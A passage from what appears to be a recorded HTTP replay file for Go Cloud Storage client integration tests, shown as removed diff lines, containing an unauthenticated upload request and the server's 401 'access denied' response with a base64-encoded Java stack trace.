"110cdd2daefc6162", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoibm9hdXRoIn0K", - "Yg==" - ] - }, - "Response": { - "StatusCode": 401, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "30405" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:26 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "Www-Authenticate": [ - "Bearer realm=\"https://accounts.google.com/\"" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrGgfg36ZmqdKbc0NqBivwXULVnF2NuBAD31rJqzC5Rj9xgHFbRnwxJCbdxCuUdlAhGW_-H88mBadNGmqch0fmAyAd80HPANBkUmIgkolsL4HK7XAU" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLiIsImxvY2F0aW9uVHlwZSI6ImhlYWRlciIsImxvY2F0aW9uIjoiQXV0aG9yaXphdGlvbiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL25vYXV0aC5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1MT0dJTl9SRVFVSVJFRCwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9Y29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUxPR0lOX1JFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDQ0VTU19ERU5JRUQ6IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6NDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuaW5zZXJ0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPXVuYXV0aG9yaXplZCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uUkVRVUlSRUQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL25vYXV0aC5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5hdXRoZW50aWNhdGVkX3VzZXIsIG1lc3NhZ2U9QW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249aGVhZGVycy5BdXRob3JpemF0aW9uLCBtZXNzYWdlPUFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMX0gQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YTo0NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5pbnNlcnQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL25vYXV0aC5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDQ0VTU19ERU5JRUQ6IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uam